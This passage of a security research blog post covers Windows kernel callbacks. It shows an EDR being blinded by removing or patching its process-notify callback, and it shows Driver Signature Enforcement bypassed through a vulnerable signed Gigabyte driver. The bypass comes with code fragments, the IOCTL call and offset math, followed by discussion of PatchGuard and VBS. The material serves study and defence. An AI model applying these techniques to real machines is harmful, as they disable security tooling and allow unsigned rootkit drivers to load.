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Let’s use the -d switch of our evilcli.exe and the index of the EDR (09 as we can see
above).

Let’s now list the registered callbacks again and see if our EDR is indeed gone, and we can
run our favourite injector.exe again.

We can. This is cool. However, what happens if you try to remove other registered callbacks?
While you’ll succeed for most of them, it will fail for some others. For example, here’s what
happens with CI.dll:
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That was unexpected, right? After all, this is ring0 vs ring0. Well, I invite you to play a bit
with this and figure out yourself why this happens. It’s not hard.

Before we answer the questions you may have at this moment, let’s look at the third option.
Patch Specific Process Notify Callback (Threat Actor Mode). Note that I didn’t use the
words “Advanced” (Threat Actor Mode), or “State” (Actor Mode). Why? Bear with me for a
moment.

This technique will simply patch the OnProcessNotify function from our EDR. Which means,
we won’t remove the callback. We’ll leave it there, but every time it is executed (a new
notification arrives) it will simply return. How?

Let’s look at the code before we run our evilcli.exe with the -p option.

We have private symbols (that’s why I told you, in the beginning, to build the drivers with
debug information), so we can simply do:
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0: kd> u edr!OnProcessNotify 
edr!OnProcessNotify: 
fffff807`029f1720 4c89442418      mov     qword ptr [rsp+18h],r8 
fffff807`029f1725 4889542410      mov     qword ptr [rsp+10h],rdx 
fffff807`029f172a 48894c2408      mov     qword ptr [rsp+8],rcx 
fffff807`029f172f 56              push    rsi 
fffff807`029f1730 57              push    rdi 
fffff807`029f1731 4883ec78        sub     rsp,78h 
fffff807`029f1735 4883bc24a000000000 cmp   qword ptr [rsp+0A0h],0 
fffff807`029f173e 0f8442020000    je      edr!OnProcessNotify+0x266 
(fffff807`029f1986) 
0: kd> 

These are the first assembly instructions of our OnProcessNotify function (its address is
fffff807029f1720) that are going to be executed every time a new process is created or
terminated. Basically, where we can act on it. Block it, modify it, let it run.

Now let’s run our evilcli.exe with the -p option, the index of our EDR driver, and then look
at this function address again.

And if we disassemble the edr!OnProcessNotify function again…

0: kd> u edr!OnProcessNotify 
edr!OnProcessNotify: 
fffff807`029f1720 c3              ret 
fffff807`029f1721 0000            add     byte ptr [rax],al 
fffff807`029f1723 0000            add     byte ptr [rax],al 
fffff807`029f1725 0000            add     byte ptr [rax],al 
fffff807`029f1727 002410          add     byte ptr [rax+rdx],ah 
fffff807`029f172a 48894c2408      mov     qword ptr [rsp+8],rcx 
fffff807`029f172f 56              push    rsi 
fffff807`029f1730 57              push    rdi 
0: kd> 
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What do we see now? A ret instruction. Which means the EDR driver from now on will just
not work as intended anymore. This trick is very intrusive, and it may bugcheck your system.
If you didn’t get it yet, bugcheck is a different word for “blue screen”.

Why? The kernel page where the code from the edr!OnProcessNotify function lives is read-
only pages. To patch it we need to change the WP (bit 16) - Write Protect bit - that inhibits
supervisor-level procedures from writing into read-only pages. There are safe and unsafe
ways of doing it. You can look at the code, but keep in mind that if you try to patch the code
without changing the page WP bit you’ll bugcheck the system. We need to clear this bit, which
allows supervisor-level procedures to write into read-only pages (regardless of the U/S bit
setting). However, if you change the page protection WP bit through the Control Register CR0,
and don’t revert your changes, you’ll bugcheck the system. Why? PatchGuard. Also, a
common error is that people will only change CR0 in one of the CPUs, forgetting that there’s a
CR0 register per CPU. The theory behind safely applying these changes is quite long and I
can’t/won’t cover it here. Research it properly if you want to know more. Or just look at the
code, and assume that what I’m doing is correct. I can tell you that while it is safe what the
code is doing, it is not the “best” way of doing it. The proper way is to use an MDL to map the
memory you want to patch. In the project’s code, you can also find how to use an MDL if you
don’t feel like looking at better sources than this project.

Now, the questions you may be asking yourself. What about anti-tampering? Aren’t EDRs, or
AVs, checking if these callbacks are being zero’ed out, removed, or patched?

Probably they somehow should, right? The truth is… they aren’t. At least 90% of them aren’t.
I only know one case that implements heavy anti-tampering checks. However, even this
single case I’m aware is considering to remove most of its checks. Why? This is heavy.
When you execute code on the kernel you don’t want to be wasting unnecessary CPU
cycles. You don’t want to be checking regularly if your registered callback function address is
still there. You need to find a balance. A better option is to use a timer, and if during a certain
amount of time you don’t receive any notification than something is wrong. However, most of
the software just assume it’s fine, no one is going to do this. And if they do, the system is
already compromised so why care?

Driver Signature Enforcement Bypass

Driver Signature Enforcement (DSE) is a feature, introduced with Windows Vista x64, that
blocks a kernel-mode driver from loading, even with Administrator privileges, unless signed
with a valid digital signature. As stated by j00ru, for anyone actively working on its kernel
security is that the Driver Signature Enforcement (DSE in short) is not effective and can be
bypassed with relative ease by any determined individual.

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)
https://web.archive.org/web/20200326040826/http://twitter.com/j00ru
https://web.archive.org/web/20200326040826/https://j00ru.vexillium.org/2012/11/defeating-windows-driver-signature-enforcement-part-1-default-drivers/
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Historically, this feature has been bypassed multiple times, in a multitude of ways. There’s
was nice presentation at BlackHat 2018 by Joe Desimone and Gabriel Landau from
Endgame, Kernel Mode Threats and Practical Defenses where you can find multiple
examples. The most famous are probably Turla and Duqu 2.0.

Anyway, DSE is enabled by default since Windows Vista for 64-bit versions. Any driver must
be signed to be loaded, by a legitimate publisher. As we saw before, this feature can be
disabled because forcing everyone to have signed drivers even during its development
process doesn’t sound like a good idea. So, when we enable test signing mode a watermark
is displayed on the bottom right corner as we saw before.

As we know, many high profile rootkits found their way into loading unsigned code into the
kernel and even leverage kernel callbacks. Some examples are Mebroot, ZeroAccess,
Rustock, Stuxnet, TDL3, Uroburos, Derusbi, Slingshot, and many others. So, how does the
driver signing policy works? The best explanation I found was this blog post by j00ru:
https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/

More precisely, the “Initialization” section. Where we can read: The actual heart of Code
Integrity lies inside a single executable image, called CI.dll. And then he continues with: (…)
the first function within our interest is the initialization routine, CI!CiInitialize. This routine is
imported by the NT core (ntoskrnl.exe) and called during system initialization.

https://web.archive.org/web/20200326040826/https://twitter.com/dez_
https://web.archive.org/web/20200326040826/https://twitter.com/GabrielLandau
https://web.archive.org/web/20200326040826/https://www.endgame.com/
https://web.archive.org/web/20200326040826/https://i.blackhat.com/us-18/Thu-August-9/us-18-Desimone-Kernel-Mode-Threats-and-Practical-Defenses.pdf
https://web.archive.org/web/20200326040826/https://github.com/hfiref0x/TDL
https://web.archive.org/web/20200326040826/https://github.com/fdiskyou/threat-INTel/blob/master/2015/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf
https://web.archive.org/web/20200326040826/https://twitter.com/j00ru
https://web.archive.org/web/20200326040826/https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/
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VOID SepInitializeCodeIntegrity() 
{ 
 DWORD CiOptions; 
 
 g_CiEnabled = FALSE; 
 if(!InitIsWinPEMode) 
   g_CiEnabled = TRUE; 
 
 memset(g_CiCallbacks,0,3*sizeof(SIZE_T)); 
 
 CiOptions = 4|2; 
 
 if(KeLoaderBlock) 
 { 
   if(*(DWORD*)(KeLoaderBlock+84)) 
   { 
     if(SepIsOptionPresent((KeLoaderBlock+84),L"DISABLE_INTEGRITY_CHECKS")) 
       CiOptions = 0; 
     if(SepIsOptionPresent((KeLoaderBlock+84),L"TESTSIGNING")) 
       CiOptions |= 8; 
   } 
 
   CiInitialize(CiOptions,(KeLoaderBlock+32),&g_CiCallbacks); 
 } 
}

The pseudocode above comes from the same post and presents the general idea of the
SepInitializeCodeIntegrity routine. As can be seen, some global nt!g_CiEnabled variable is
being set to FALSE / TRUE, depending on whether the machine is booting up in the WinPE
mode. Furthermore, CiOptions is initialized accordingly to the system boot options and finally
passed to the CiInitialize routine (…).

Please read the whole post. However, the pseudocode above is enough for us to understand
what’s going on and come up with a bypass ourselves. From above, we learned that the
CiInitialize function is located in the ci.dll file. Its first argument, CiOptions, contains
the flags of the current signing policy. As we can see above, the default value of the flags
(CiOptions = 4|2;) is 4 or 2. That is 0x6 in hexadecimal. Now, if the driver signing
enforcement is disabled (as in test signing mode) the flags will be equal to 4 or 2 or 8. That
is, 0xe in hexadecimal.

So, what if we exploit a kernel vulnerability, or a vulnerable kernel driver, that allow us to
write into kernel space? That’s what we’ll do next.

Note: there are some other really interesting projects, like this one, this one, this one, etc.
that even load fileless drivers as shellcode decreasing its footprint and making these
techniques way stealthier. Worth having a look.

https://web.archive.org/web/20200326040826/https://github.com/hfiref0x/KDU
https://web.archive.org/web/20200326040826/https://github.com/hfiref0x/DSEFix
https://web.archive.org/web/20200326040826/https://github.com/hfiref0x/Stryker
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If you dive into the underground of the Game Hacking Scene you’ll find plenty of vulnerable
drivers being used to cheat and bypass AntiCheat technology. Some of the drivers being
abused are a complete disaster and look more like backdoors than anything else. One well
know driver was part of the game Street Fighter V, from Capcom. This driver only
functionality is well described here. Basically, it would take a user pointer, disable SMEP,
execute code at the pointer’s address, and enable SMEP again. According to Capcom, a
“non-DRM anti-crack solution”. Right… Anyway, you may ask why are we talking about this
driver? First, because it is widely known. Second, because this driver could potentially be
abused to load our unsigned code in the kernel. However, this driver signature was revoked
and the driver can’t be loaded anymore. It’s not very common, but it happens.

As a proof-of-concept we’ll use a driver, that’s vulnerable, but still (as of today) unrevoked.
However, there are some remarks I would like to make before we proceed regarding loading
drivers on Windows 10.

Note that Microsoft in April 2015 stated: with the release of Windows 10, all new Windows 10
kernel mode drivers must be submitted to and digitally signed by the Windows Hardware
Developer Center Dashboard portal. Windows 10 will not load new kernel mode drivers
which are not signed by the portal.

Additionally, starting 90 days after the release of Windows 10, the portal will only accept
driver submissions, including both kernel and user mode driver submissions, that have a
valid Extended Validation (“EV”) Code Signing Certificate.

However, due to technical and ecosystem readiness issues, this was not enforced by
Windows Code Integrity and remained only a policy statement.

Again, is worth underlining Starting with new installations of Windows 10, version 1607, the
previously defined driver signing rules will be enforced by the Operating System, and
Windows 10, version 1607 will not load any new kernel mode drivers which are not signed by
the Dev Portal. OS signing enforcement is only for new OS installations; systems upgraded
from an earlier OS to Windows 10, version 1607 will not be affected by this change.

This means that, unless UpgradedSystem is set, if you enable Secure Boot you’ll “activate”
the new 1607+ policy. As we can read from above, this policy requires Attestation Signed
drivers, or WHQL drivers, for drivers signed after October 29th 2015.

Geoff Chappell can describe what a WHQL-signed driver is better than me. A WHQL-signed
driver is signed with a certificate whose private key is kept by Microsoft so that only Microsoft
can do the signing. WHQL means Windows Hardware Quality Labs. For many years the only
way that Microsoft would sign a driver for an Independent Software Vendor (ISV) was if the
driver was sent to Microsoft with a record of having passed an appropriate WHQL test suite.
In those years, a WHQL signature gave some assurance of the driver’s quality.

https://web.archive.org/web/20200326040826/https://streetfighter.com/
https://web.archive.org/web/20200326040826/http://www.capcom.com/
https://web.archive.org/web/20200326040826/https://www.pcgamesn.com/street-fighter-v/sfv-capcom-rootkit-security
https://web.archive.org/web/20200326040826/https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/
https://web.archive.org/web/20200326040826/https://techcommunity.microsoft.com/t5/windows-hardware-certification/driver-signing-changes-in-windows-10/ba-p/364859
https://web.archive.org/web/20200326040826/https://web.archive.org/web/20200229152555/https://blogs.msdn.microsoft.com/windows_hardware_certification/2016/07/26/driver-signing-changes-in-windows-10-version-1607/
https://web.archive.org/web/20200326040826/https://web.archive.org/web/20200229152555/https://blogs.msdn.microsoft.com/windows_hardware_certification/2016/07/26/driver-signing-changes-in-windows-10-version-1607/
https://web.archive.org/web/20200326040826/http://www.geoffchappell.com/notes/security/whqlsettings/index.htm
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For the many sorts of driver for which Microsoft had not yet devised tests for hardware
compatibility, ISVs simply could not get WHQL signatures. Such drivers could instead be
cross-signed by the ISV using both a Software Publisher Certificate (SPC) that is issued to
the ISV by a third-party certification authority (CA) and a publicly available cross-certificate
that Microsoft issues to the CA. In the particular way that Windows validates signatures on
drivers, the signature on a cross-signed driver has a root certificate from Microsoft but it’s
one that distinguishes the code verification as having been out-sourced. Microsoft’s
involvement in cross-signing is only indirect, to vet CAs as having sufficiently high standards
for authenticating that whoever they issue their certificates to is an identifiable (and hopefully
responsible) software publisher. A cross-signature is some assurance that the driver, of
whatever quality, is the work of a specific known entity.

Don’t forget to read the Exceptions section, because as we can read here:
https://docs.microsoft.com/en-gb/windows-hardware/drivers/install/kernel-mode-code-
signing-policy–windows-vista-and-later-

However, cross-signed drivers are still permitted if any of the following are true:

- The PC was upgraded from an earlier release of Windows to Windows 10, version 1607. 
- Secure Boot is off in the BIOS. 
- Driver was signed with an end-entity certificate issued prior to July 29th 2015 
that chains to a supported cross-signed CA. 

I’ve never used the portal myself, so I can only document here what Microsoft’s
documentation states. If you are interested, there’s a nice post here where Christoph Lüders
describes his experience purchasing an Extended Validation Certificate, getting an account
on the portal, and going through the attestation route. Very informative. Additionally, have a
look at this video from channel9.

Why is this important? Because the driver I chose is not WHQL signed. This means, if
Secure Boot is enabled this GigaByte driver won’t load. Anyway, this driver serves our
demo purpose perfectly.

The Gigabyte Driver

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-gb/windows-hardware/drivers/install/kernel-mode-code-signing-policy--windows-vista-and-later-
https://web.archive.org/web/20200326040826/http://wrogn.com/tag/driver-signing/
https://web.archive.org/web/20200326040826/http://wrogn.com/about/
https://web.archive.org/web/20200326040826/https://channel9.msdn.com/Events/Windows/Filter-Plugfest28/Driver-Certification-on-Windows-Client-and-Server
https://web.archive.org/web/20200326040826/https://channel9.msdn.com/
https://web.archive.org/web/20200326040826/https://www.secureauth.com/labs/advisories/gigabyte-drivers-elevation-privilege-vulnerabilities
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Microsoft has stated that a million unique driver hashes are seen through telemetry, monthly!.
These drivers, many times, come with crazy functionalities exposed to user-mode. Plus,
many other vulnerabilities. So, assuming that all the code that runs in ring0 is trusted is just
a bad assumption as we’ll see.

The nday I mentioned at the beginning of this post is this Gigabyte driver vulnerability. When
I decided to choose a driver for this PoC, this driver immediately came to mind. The main
reason, its hilarious report timeline.

I knew some of these Gigabyte drivers have been used by some gamers for cheating. And,
based on the report timeline I also knew that these vulnerabilities are probably still unfixed as
of today (I didn’t bother checking). What I knew was that these drivers weren’t revoked and
can still be loaded in the latest Windows 10 x64, and consequently exploited.

If you read the SecureAuth’s Advisory, it seems there’s a party in ring0 and we are all
invited, and especially welcome. Arbitrary ring0 VM read/write, Port mapped I/O access,
MSR Register access, Arbitrary physical memory read/write. It’s hard to choose one, but
we’ll go with the easiest one, that is the first one. We only need to write one single byte to
achieve our goal.

https://web.archive.org/web/20200326040826/https://www.amazon.co.uk/Windows-Internals-Part-architecture-management/dp/0735684189/
https://web.archive.org/web/20200326040826/https://www.secureauth.com/labs/advisories/gigabyte-drivers-elevation-privilege-vulnerabilities
https://web.archive.org/web/20200326040826/https://www.youtube.com/watch?v=yJHyHU5UjTg
https://web.archive.org/web/20200326040826/https://www.secureauth.com/labs/advisories/gigabyte-drivers-elevation-privilege-vulnerabilities
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As we saw before, we need to change CI!g_CiOptions global variable value. But we don’t
know what’s its address, right? Well yes, but any user can get it easily. From a medium
integrity process (integrity level for most of the programs a normal user runs) it is trivial to get
the address we are interested in. Which means Kernel ASLR (KASLR) has no power here.

So from a medium integrity process, we can just leak ci!CiInitialize and
CI!g_CiOptions.

As I mentioned before, one byte write in Kernel space is enough to compromise the whole
system. We learnt from SecureAuth’s Advisory that we can read and write arbitrary memory
in ring0. We don’t care about reading because we are exploiting this vulnerability from
medium integrity. Otherwise, we could use the read to leak memory and bypass KASLR from
a low integrity process.

Anyway, from a medium integrity process all we have to do is find the base address of
CI.dll (among others, this DLL main service is to verify the integrity of digitally signed
drivers). Here’s the function that enumerates all system’s drivers and finds the base address
we are interested in.

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows/security/threat-protection/overview-of-threat-mitigations-in-windows-10
https://web.archive.org/web/20200326040826/https://www.secureauth.com/labs/advisories/gigabyte-drivers-elevation-privilege-vulnerabilities
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BOOL EnumSystemDrivers(PVOID* ModuleBase, PCHAR ModuleImage) 
{ 

_NtQuerySystemInformation NtQuerySystemInformation; 
PSYSTEM_MODULE_INFORMATION pModuleInfo; 
PSYSTEM_MODULE_INFORMATION_ENTRY pSystemModuleEntry = NULL; 
ULONG i, len; 
NTSTATUS ret; 
HMODULE ntdllHandle; 
CHAR kFullName[256]; 

ntdllHandle = GetModuleHandle(L"ntdll"); 
if (!ntdllHandle) 
 return FALSE; 

NtQuerySystemInformation = 
(_NtQuerySystemInformation)GetProcAddress(ntdllHandle, "NtQuerySystemInformation"); 

if (!NtQuerySystemInformation) 
 return FALSE; 

ret = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); 

pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len); 

ret = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, 
&len); 

if (g_ListDrivers) 
 printf("Base Address\t ImageName\n"); 
 
for (i = 0; i < pModuleInfo->Count; i++) 
{ 
 if(g_ListDrivers) 
  printf("%p %s\n", pModuleInfo->Module[i].Base, pModuleInfo-

>Module[i].ImageName); 

 if (strstr(pModuleInfo->Module[i].ImageName, "CI.dll") != NULL) 
 { 
  strcpy_s(ModuleImage, sizeof(kFullName) - 1, pModuleInfo-

>Module[i].ImageName); 
  *ModuleBase = pModuleInfo->Module[i].Base; 
 } 
} 

return TRUE; 
}

We define a structure following what the driver expects and it’s documented on SecureAuth’s
Advisory:

https://web.archive.org/web/20200326040826/https://www.secureauth.com/labs/advisories/gigabyte-drivers-elevation-privilege-vulnerabilities
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typedef struct _GIO_MemCpyStruct { 
ULONG64 dest; 
ULONG64* src; 
DWORD size; 

} GIO_MemCpyStruct;

And we call DeviceIoControl using the vulnerable IOCTL.

DeviceIoControl(ghDriver, IOCTL_GIO_MEMCPY, (LPVOID)&mystructIn, sizeof(mystructIn), 
(LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL);

Then it’s just a matter of initializing the structure with the correct values, and simple math to
calculate the exact address of the global variable we want to modify.

CiInitialize - hModule + kBase - 0x9eb8 

You can easily finish the exploit yourself with the information above. Below is a quick demo
of this “attack” (in a different VM without test signing mode, and without kernel debugging
enabled). We start by loading the vulnerable Gigabyte’s signed driver. Then we disable DSE.
We load our malicious driver successfully. And finally, we revert our changes (enabling DSE
again).

So, is this exploit PatchGuard friendly? The CI.dll variables are protected by PatchGuard
indeed (starting with Windows 8.1). However, this doesn’t mean we’ll get an instant
PatchGuard action (bugcheck). This will eventually lead to a bugcheck when PatchGuard
notices the change. However, if we revert the change (restore the original state) we’ll be fine.
There’s a risk here obviously, as we don’t know when is PatchGuard going to look at our
global variable. PatchGuard runs randomly, so it can happen immediately after our change, 5
minutes later, one hour later, 24 hours later, we don’t know.

https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/Kernel_Patch_Protection
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Kernel Patch Protection (KPP)

Kernel Patch Protection (KPP), also known as PatchGuard was first released for Windows
XP 64-bit. Windows 32-bit systems don’t have PatchGuard enabled (not even Windows 10),
due to many crazy legacy 32-bit drivers “messing” with critical Windows kernel structures.

Windows server versions don’t support 32-bit systems anymore, and hopefully, these are
going away on the desktop too. I couldn’t find any statistics that would confirm it, as Microsoft
doesn’t share that data. Anyway, we all know that’s not easy to buy new 32-bit hardware
anymore. I wouldn’t be surprised if Microsoft stops supporting 32-bit desktop systems too.

Anyway, what is PatchGuard? PatchGuard is a Windows Kernel anti-tampering system.
Simply put, it creates hashes of the system’s critical structures and makes sure you don’t
modify them.

As mentioned above, is worth notice that PatchGuard just crashes the system in case it sees
something wrong, it doesn’t do anything to prevent it, or revert any changes made. The
bugcheck code you’ll see is 0x109, that is CRITICAL_STRUCTURE_CORRUPTION. The best
compilation of checks performed by PatchGuard I could find was in the book Windows
Internals Part 1. Wikipedia also has a few but I wouldn’t trust it that much, as the sources for
the claims are more than 10 years old. You can also find a few things you should avoid here.

As we know, many device drivers patch Windows kernel structures in a multitude of ways
(such as, dangerous version-specific constructs/hard-coded offsets and code fingerprinting
on frequently changing code) leading to system instability (to say the least). This is even true
for Endpoint Security Software (actually AVs are/were the main cause of bugchecks for a
long time). How ironic? One common case is/was patching the System Service Descriptor
Table (SSDT), which is a table containing the array of pointers for each system call handler.
The idea is to intercept these system calls to add some functionality on top of it and keep the
users safe. Some AVs for 32-bit systems might still do this, and Endpoint Security Software
vendors aren’t the only ones patching Windows kernel structures. Malware does the same
(leading to further instability), patching code already patched is tricky.

If we think about this problem, the truth is that protecting the kernel against these
modifications is very hard (if not impossible) if everything is running in ring0. It’s a race and
a race that you can always win. There’s no security boundary. For Microsoft, there’s not even
a security boundary between Administrator and ring0 (and I agree). This means that
PatchGuard is heavily obfuscated to avoid being reversed, and attacked. However,
obfuscation is not a security boundary either. PatchGuard is only about increasing the cost
(in time, and complexity) to a potential attacker. As mentioned above, PatchGuard is non-
deterministic (random), and not documented, with the “ultimate” goal of making exploits
unreliable (not stop them). PatchGuard doesn’t run the same checks all the time, and at

https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/Kernel_Patch_Protection
https://web.archive.org/web/20200326040826/https://www.amazon.co.uk/Windows-Internals-Part-architecture-management/dp/0735684189/
https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/Kernel_Patch_Protection
https://web.archive.org/web/20200326040826/https://github.com/hfiref0x/KDU/tree/master/Source/Examples/BadRkDemo
https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/System_Service_Descriptor_Table
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once. It’s random, and multiple checks can run in parallel. Objectively, PatchGuard is security
by obscurity at its best (at Microsoft maybe only 5 people have access to the source code,
which is kept in a secret source code repository).

PatchGuard is trying to enforce the use of supported mechanisms to have full visibility of
what’s happening on the system. These supported mechanisms are the subject of this post.
That is, processes/threads and image load notifications. Plus, mini-filter drivers (which allow
on the fly “hooking” of all file operations). Object manager filtering (remove certain access
rights on the fly), NDIS and WFP filters (access to raw ethernet packets), and ETW
(mentioned before).

We need to keep in mind, that even with KPP and DSE we are still fighting a “lost” battle.
Which is ring0 vs ring0. Because of this, Microsoft now leverages the Hyper-V hypervisor
to provide a new set of services known as Virtualization-based security (VBS).

There are some AV vendors already rolling their own hypervisors based engines, and they
will identify (as of today) the attacks mentioned before. Kaspersky, Avast, BitDefender, Qihu
and maybe others that I’m not aware, already implement their Hypervisor, be warned. This
doesn’t mean that the AV software you install in your PC comes with a Hypervisor. They
don’t support nested virtualization (at least without breaking stuff). What happens, is that
their cloud solutions run over their Hypervisor. What does this mean? Yes, all the files you
have in your computer are “flying” to the cloud to be “analyzed”. If you were wondering how
this is actually how Kaspersky has been detecting multiple 0days in the wild.

To know more about PatchGuard I highly recommend you to read the awesome research by
Tetrane here:
https://blog.tetrane.com/downloads/Tetrane_PatchGuard_Analysis_RS4_v1.01.pdf. Also,
anything from Skywing (now the main authority behind it), and Uninformed is pure gold.
Check the References at the end of this post.

Virtualization-based Security (VBS)

With Virtualization-based Security, the kernel runs at a higher privilege than user-mode
applications and is isolated from them.

In a nutshell, with VBS user-mode and kernel-mode code run in VTL 0 (traditional model)
and is not aware of the existence of VTL 1. So, anything in VTL 1 can’t be accessed from
VTL 0. This means that even if a malware actor obtains code execution in ring0 VTL 0, it still
can’t access anything in VTL 1. Not even user-mode code (Isolated User Mode (IUM), as
shown in the image below).

The best description and image illustrating what’s stated above I could find was from
https://docs.microsoft.com/en-us/windows/win32/procthread/isolated-user-mode–ium–
processes

https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/Hyper-V
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs
https://web.archive.org/web/20200326040826/https://os.kaspersky.com/products/kaspersky-secure-hypervisor/
https://web.archive.org/web/20200326040826/https://www.avast.com/en-gb/technology/malware-detection-and-blocking
https://web.archive.org/web/20200326040826/https://www.bitdefender.com/business/enterprise-products/hypervisor-introspection.html
https://web.archive.org/web/20200326040826/https://www.360totalsecurity.com/en/
https://web.archive.org/web/20200326040826/https://forum.avast.com/index.php?topic=162445.60
https://web.archive.org/web/20200326040826/https://www.tetrane.com/
https://web.archive.org/web/20200326040826/https://blog.tetrane.com/downloads/Tetrane_PatchGuard_Analysis_RS4_v1.01.pdf
https://web.archive.org/web/20200326040826/http://www.nynaeve.net/?p=111
https://web.archive.org/web/20200326040826/http://www.uninformed.org/
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows/win32/procthread/isolated-user-mode--ium--processes
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Needless to say, that VTL 1 to be fully trusted, it requires Secure Boot, a non-compromised
hypervisor, IOMMU supporting hardware, and the Intel Management Engine (ME) without
vulnerabilities that can be exploited from VTL 0.

As described here, Virtual Secure Mode (VSM). VSM is a feature that leverages the
virtualization extensions of the CPU to provide added security of data in memory. (…) VSM
leverages the on chip virtualization extensions of the CPU to sequester critical processes
and their memory against tampering from malicious entities.

How is this different from the traditional model? Here, the hypervisor sits in between the
hardware and the host (OS), abstracting the OS from the hardware.

https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/List_of_IOMMU-supporting_hardware
https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/Intel_Management_Engine
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-gb/archive/blogs/ash/windows-10-device-guard-and-credential-guard-demystified
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In this way, the VSM instance is segregated from the normal operating system functions and
is protected by attempts to read information in that mode. The protections are hardware
assisted, since the hypervisor is requesting the hardware treat those memory pages
differently. This is the same way to two virtual machines on the same host cannot interact
with each other; their memory is independent and hardware regulated to ensure each VM
can only access its own data.

Thanks to VSM (Virtual Secure Mode), Windows 10 comes with Device Guard. Device Guard
is not a feature, but a set of features designed to work together to prevent and eliminate
untrusted code from running on a Windows 10 system.

Among others, we now have a protected mode where “sensitive” operations can be run. And
this is from where Kernel Mode Code Integrity (KMCI) and the hypervisor code integrity
control itself, which is called Hypervisor Code Integrity (HVCI), come from. Plus Configurable
Code Integrity (CCI), which ensures that only trusted code runs from the boot loader
onwards.

Configurable Code Integrity (CCI) allows the customization of a signature policy for user-
mode and kernel code and protects the Windows OS from being compromised by “bad”
drivers. Device Guard ensures the drivers are, at the least, signed by a known signature
(WHQL signed). Additionally, you can further restrict the drivers by whitelisting them in the
policy. In this way, Device Guard will block drivers from loading dynamic code and block any
driver that is not on the whitelist.

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-gb/archive/blogs/ash/windows-10-device-guard-and-credential-guard-demystified
http://10.10.1.0:9000/data-production/pdf_1685281555_4cb1ce.html
http://10.10.1.0:9000/data-production/pdf_1685281555_4cb1ce.html
http://10.10.1.0:9000/data-production/pdf_1685281555_4cb1ce.html
http://10.10.1.0:9000/data-production/pdf_1685281555_4cb1ce.html
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/install/whql-test-signature-program
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This is awesome and will mitigate the problem of bad actors bringing their own (known)
vulnerable driver and exploit it. One thing to notice though is that, as of today, you’ll barely
find a system with VBS enabled. Even though most of the hardware already supports it,
there are way too many incompatibilities (VMWare, VirtualBox, etc) and everyone is turning it
off. The latest release of Windows already comes with it enabled but only for fresh installs. If
you have been upgrading your system it will be disabled.

Conclusions

This post only touches slightly on a small subset of the Windows Kernel Callbacks. The
Windows Kernel has way more Callback mechanisms that are worth studying.

Many people say rootkits are dead. Are they? When we talk about rootkits people usually
think about “hiding files”, “hiding processes”, and a few other lame things. This doesn’t make
any sense. Rootkits are a path to something. Using a rootkit to hide a file, or a process is just
“stupid”. There are many, many ways of doing things. Forensics tools will look at these things
from multiple perspectives and they will catch you. You need to be smart. Remember
Stuxnet? They actually made this mistake. If you don’t know what mistake I’m talking about,
it is time for you to do your research.

China, Russia, US, they all have kernel offensive capabilities. Today. People think
PatchGuard solved an unsolvable problem. The trick is to learn how to live with PatchGuard,
instead of trying to bypass it. If you do, the moment Microsoft finds out it will be patched.
Look at InfinityHook for example (now patched). Also, if this subject interests you, make sure
you look at the cool PatchGuard research from Tetrane (look at the references section
below).

The reason we don’t see rootkits that often anymore it’s because, in my opinion, the cost of
developing malware for the Windows Kernel increased. To load drivers into the Windows
Kernel you either need a stolen certificate, a zero-day exploit or bring your vulnerable driver
(like we saw with the Gigabyte driver). The complexity has increased indeed. Sc also leaves
a strong footprint, and persistence is tricky. However, there are ways around it. Remember
DoublePulsar? Do you know how it works?

As we slightly saw, even though PatchGuard is fighting a battle it can’t win, it is still quite
interesting to study it. You can write a driver to emulate PatchGuard, and look at the same
things PatchGuard is looking at.

Ultimately, the addition of the secure kernel and VBS is an exciting step in modern OS
architecture. And, at the same time, very annoying. Microsoft Windows is likely the most
complex program ever created for a personal computer, “no one mind can comprehend it all“.
That means this is a never-ending story, with many chapters yet to be written.

To be continued.

https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/Stuxnet
https://web.archive.org/web/20200326040826/https://github.com/everdox/InfinityHook
https://web.archive.org/web/20200326040826/https://blog.tetrane.com/downloads/Tetrane_PatchGuard_Analysis_RS4_v1.01.pdf
https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/DoublePulsar
https://web.archive.org/web/20200326040826/https://www.amazon.co.uk/Showstopper-Breakneck-Windows-Generation-Microsoft-ebook/dp/B00J5X5E9U/
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